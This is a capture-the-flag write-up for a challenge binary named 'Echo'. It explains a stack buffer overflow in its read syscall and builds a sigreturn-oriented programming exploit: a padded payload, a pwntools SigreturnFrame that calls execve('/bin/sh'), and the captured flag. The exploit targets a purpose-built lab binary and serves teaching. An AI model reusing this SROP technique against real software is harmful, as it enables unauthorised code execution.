## Echo #### Descriptiontell me something to say it back
#### AuthorM_alpha
#### Points and solves485 and 45 solvers.
We are given a small binary that echos what you write to it using syscalls
The echo function:```asm <+0>:     push   rbp<+1>:     mov    rbp,rsp<+4>:     sub    rsp,0x300<+11>:    mov    eax,0x0<+16>:    mov    edi,0x0<+21>:    lea    rsi,[rsp+0x180]<+29>:    mov    edx,0x300<+34>:    syscall<+36>:    mov    rdx,rax<+39>:    mov    eax,0x1<+44>:    mov    edi,0x1<+49>:    syscall<+51>:    leave<+52>:    ret```In addition, the author was kind enough to include a ```/bin/sh``` in the code segment```0x401035 <echo+53>:     "/bin/sh"```### Syscall conventionQuick reminder for x86_64 syscall calling convetions, parameters are passed via ```rdi, rsi, rdx, r10, r8, r9``` and ```rax``` is used to select the syscall.For pwning the challenge, we will use the read (```rax = 0```) and sigreturn (```rax = 0xf```) syscalls.### The vulnerability(ies)1. There is a very obvious buffer overflow, the read syscall will overflow the stacksince we are reading ```rdx = 0x300``` bytes into ```rsi = rsp - 0x180``` resulting in 0x180 bytes of overflow.
2. Every binary with that uses ```syscall``` should catch your attention, especially because of syscall 0x3b (```exceve```),and the syscall 0xf ```sigreturn```.
### Pwning the binaryAs I mentioned before we will be using srop to solve this challenge.The solution splits into two phases:### 1. Loading the srop frame into the memory:On the first call of echo, we will prepare the stack by writing the following payload:```0x188*b"A" + p64(elf.sym.echo) + p64(0x40101d) + bytes(frame)```.The first 0x188 bytes are there to overflow the return address with ```echo``` function address.When the next call of ```echo``` will return, it'll return to ```0x40101d```.```asm0x000000000040101d <+29>:    mov    edx,0x3000x0000000000401022 <+34>:    syscall```By the point we are at ```0x40101d``` we'll have ```frame``` at the top of the stack.
The idea is, that if we can have ```rax = 0xf``` and call syscall, while having an srop frame one the stack, we can basically do anything.However, this phase only loads everything on the stack, we are still missing ```rax = 0xf```
### 2. Loading ```rax = 0xf```:The reason we return to ```echo``` a second time, is just to write 15 bytes, and by that set ```rax = 0xf```
### 3. What's in the frame:```pythonframe = SigreturnFrame(kernel ="amd64")frame.rax = 0x3bframe.rdi = binshframe.rip = 0x401022frame.rdx = 0```The frame loads all the registers with the appropriate values, use sigreturn which loads ```rip``` with ```0x401022``` and ```execve(/bin/sh)```
Run it all, and get shell :)
#### Flag```flag{w3ll_1t_1s_n0t_f0rm@t5tr1ng}```